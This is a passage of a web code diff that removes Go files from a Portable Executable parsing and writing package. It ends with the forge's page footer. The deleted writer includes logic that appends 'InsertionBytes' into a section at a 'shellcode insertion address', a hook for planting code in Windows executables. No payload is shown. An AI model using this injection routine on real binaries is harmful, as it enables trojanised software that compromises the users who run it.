||||
return cstring(sym.Name[:]), nil
|
||||
}
|
||||
|
||||
func removeAuxSymbols(allsyms []COFFSymbol, st StringTable) ([]*Symbol, error) {
|
||||
if len(allsyms) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
syms := make([]*Symbol, 0)
|
||||
aux := uint8(0)
|
||||
for _, sym := range allsyms {
|
||||
if aux > 0 {
|
||||
aux--
|
||||
continue
|
||||
}
|
||||
name, err := sym.FullName(st)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aux = sym.NumberOfAuxSymbols
|
||||
s := &Symbol{
|
||||
Name: name,
|
||||
Value: sym.Value,
|
||||
SectionNumber: sym.SectionNumber,
|
||||
Type: sym.Type,
|
||||
StorageClass: sym.StorageClass,
|
||||
}
|
||||
syms = append(syms, s)
|
||||
}
|
||||
return syms, nil
|
||||
}
|
||||
|
||||
// Symbol is similar to COFFSymbol with Name field replaced
|
||||
// by Go string. Symbol also does not have NumberOfAuxSymbols.
|
||||
type Symbol struct {
|
||||
Name string
|
||||
Value uint32
|
||||
SectionNumber int16
|
||||
Type uint16
|
||||
StorageClass uint8
|
||||
}
|
||||
-195
@@ -1,195 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"os"
|
||||
)
|
||||
|
||||
func (peFile *File) Bytes() ([]byte, error) {
|
||||
var bytesWritten uint64
|
||||
peBuf := bytes.NewBuffer(nil)
|
||||
|
||||
// write DOS header and stub
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.DosHeader)
|
||||
bytesWritten += uint64(binary.Size(peFile.DosHeader))
|
||||
if peFile.DosExists {
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.DosStub)
|
||||
bytesWritten += uint64(binary.Size(peFile.DosStub))
|
||||
}
|
||||
|
||||
// write Rich header
|
||||
if peFile.RichHeader != nil {
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.RichHeader)
|
||||
bytesWritten += uint64(len(peFile.RichHeader))
|
||||
}
|
||||
|
||||
// apply padding before PE header if necessary
|
||||
if uint32(bytesWritten) != peFile.DosHeader.AddressOfNewExeHeader {
|
||||
padding := make([]byte, peFile.DosHeader.AddressOfNewExeHeader-uint32(bytesWritten))
|
||||
binary.Write(peBuf, binary.LittleEndian, padding)
|
||||
bytesWritten += uint64(len(padding))
|
||||
}
|
||||
|
||||
// write PE header
|
||||
peMagic := []byte{'P', 'E', 0x00, 0x00}
|
||||
binary.Write(peBuf, binary.LittleEndian, peMagic)
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.FileHeader)
|
||||
bytesWritten += uint64(binary.Size(peFile.FileHeader) + len(peMagic))
|
||||
|
||||
var (
|
||||
is32bit bool
|
||||
oldCertTableOffset, oldCertTableSize uint32
|
||||
)
|
||||
|
||||
switch peFile.FileHeader.Machine {
|
||||
case IMAGE_FILE_MACHINE_I386:
|
||||
is32bit = true
|
||||
optionalHeader := peFile.OptionalHeader.(*OptionalHeader32)
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.OptionalHeader.(*OptionalHeader32))
|
||||
bytesWritten += uint64(binary.Size(optionalHeader))
|
||||
|
||||
oldCertTableOffset = optionalHeader.DataDirectory[CERTIFICATE_TABLE].VirtualAddress
|
||||
oldCertTableSize = optionalHeader.DataDirectory[CERTIFICATE_TABLE].Size
|
||||
case IMAGE_FILE_MACHINE_AMD64:
|
||||
is32bit = false
|
||||
optionalHeader := peFile.OptionalHeader.(*OptionalHeader64)
|
||||
binary.Write(peBuf, binary.LittleEndian, optionalHeader)
|
||||
bytesWritten += uint64(binary.Size(optionalHeader))
|
||||
|
||||
oldCertTableOffset = optionalHeader.DataDirectory[CERTIFICATE_TABLE].VirtualAddress
|
||||
oldCertTableSize = optionalHeader.DataDirectory[CERTIFICATE_TABLE].Size
|
||||
default:
|
||||
return nil, errors.New("architecture not supported")
|
||||
}
|
||||
|
||||
// write section headers
|
||||
sectionHeaders := make([]SectionHeader32, len(peFile.Sections))
|
||||
for idx, section := range peFile.Sections {
|
||||
// write section header
|
||||
sectionHeader := SectionHeader32{
|
||||
Name: section.OriginalName,
|
||||
VirtualSize: section.VirtualSize,
|
||||
VirtualAddress: section.VirtualAddress,
|
||||
SizeOfRawData: section.Size,
|
||||
PointerToRawData: section.Offset,
|
||||
PointerToRelocations: section.PointerToRelocations,
|
||||
PointerToLineNumbers: section.PointerToLineNumbers,
|
||||
NumberOfRelocations: section.NumberOfRelocations,
|
||||
NumberOfLineNumbers: section.NumberOfLineNumbers,
|
||||
Characteristics: section.Characteristics,
|
||||
}
|
||||
|
||||
// if the PE file was pulled from memory, the symbol table offset in the header will be wrong.
|
||||
// Fix it up by picking the section that lines up, and use the raw offset instead.
|
||||
if peFile.FileHeader.PointerToSymbolTable == sectionHeader.VirtualAddress {
|
||||
peFile.FileHeader.PointerToSymbolTable = sectionHeader.PointerToRawData
|
||||
}
|
||||
|
||||
sectionHeaders[idx] = sectionHeader
|
||||
|
||||
//log.Printf("section: %+v\nsectionHeader: %+v\n", section, sectionHeader)
|
||||
|
||||
binary.Write(peBuf, binary.LittleEndian, sectionHeader)
|
||||
bytesWritten += uint64(binary.Size(sectionHeader))
|
||||
}
|
||||
|
||||
// write sections' data
|
||||
for idx, sectionHeader := range sectionHeaders {
|
||||
section := peFile.Sections[idx]
|
||||
sectionData, err := section.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if sectionData == nil { // for sections that weren't in the original file
|
||||
sectionData = []byte{}
|
||||
}
|
||||
if section.Offset != 0 && bytesWritten < uint64(section.Offset) {
|
||||
pad := make([]byte, uint64(section.Offset)-bytesWritten)
|
||||
peBuf.Write(pad)
|
||||
//log.Printf("Padding before section %s at %x: length:%x to:%x\n", section.Name, bytesWritten, len(pad), section.Offset)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
// if our shellcode insertion address is inside this section, insert it at the correct offset in sectionData
|
||||
if peFile.InsertionAddr >= section.Offset && int64(peFile.InsertionAddr) < (int64(section.Offset)+int64(section.Size)-int64(len(peFile.InsertionBytes))) {
|
||||
sectionData = append(sectionData, peFile.InsertionBytes[:]...)
|
||||
datalen := len(sectionData)
|
||||
if sectionHeader.SizeOfRawData > uint32(datalen) {
|
||||
paddingSize := sectionHeader.SizeOfRawData - uint32(datalen)
|
||||
padding := make([]byte, paddingSize, paddingSize)
|
||||
sectionData = append(sectionData, padding...)
|
||||
//log.Printf("Padding after section %s: length:%d\n", section.Name, paddingSize)
|
||||
}
|
||||
}
|
||||
|
||||
binary.Write(peBuf, binary.LittleEndian, sectionData)
|
||||
bytesWritten += uint64(len(sectionData))
|
||||
}
|
||||
|
||||
// write symbols
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.COFFSymbols)
|
||||
bytesWritten += uint64(binary.Size(peFile.COFFSymbols))
|
||||
|
||||
// write the string table
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.StringTable)
|
||||
bytesWritten += uint64(binary.Size(peFile.StringTable))
|
||||
|
||||
var newCertTableOffset, newCertTableSize uint32
|
||||
|
||||
// write the certificate table
|
||||
if peFile.CertificateTable != nil {
|
||||
newCertTableOffset = uint32(bytesWritten)
|
||||
newCertTableSize = uint32(len(peFile.CertificateTable))
|
||||
} else {
|
||||
newCertTableOffset = 0
|
||||
newCertTableSize = 0
|
||||
}
|
||||
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.CertificateTable)
|
||||
bytesWritten += uint64(len(peFile.CertificateTable))
|
||||
|
||||
peData := peBuf.Bytes()
|
||||
|
||||
// write the offset and size of the new Certificate Table if it changed
|
||||
if newCertTableOffset != oldCertTableOffset || newCertTableSize != oldCertTableSize {
|
||||
certTableInfo := &DataDirectory{
|
||||
VirtualAddress: newCertTableOffset,
|
||||
Size: newCertTableSize,
|
||||
}
|
||||
|
||||
var certTableInfoBuf bytes.Buffer
|
||||
binary.Write(&certTableInfoBuf, binary.LittleEndian, certTableInfo)
|
||||
|
||||
var certTableLoc int64
|
||||
if is32bit {
|
||||
certTableLoc = int64(peFile.DosHeader.AddressOfNewExeHeader) + 24 + 128
|
||||
} else {
|
||||
certTableLoc = int64(peFile.DosHeader.AddressOfNewExeHeader) + 24 + 144
|
||||
}
|
||||
|
||||
peData = append(peData[:certTableLoc], append(certTableInfoBuf.Bytes(), peData[int(certTableLoc)+binary.Size(certTableInfo):]...)...)
|
||||
}
|
||||
|
||||
return peData, nil
|
||||
}
|
||||
|
||||
func (peFile *File) WriteFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
peData, err := peFile.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = f.Write(peData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
Loaded 100 of 586 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user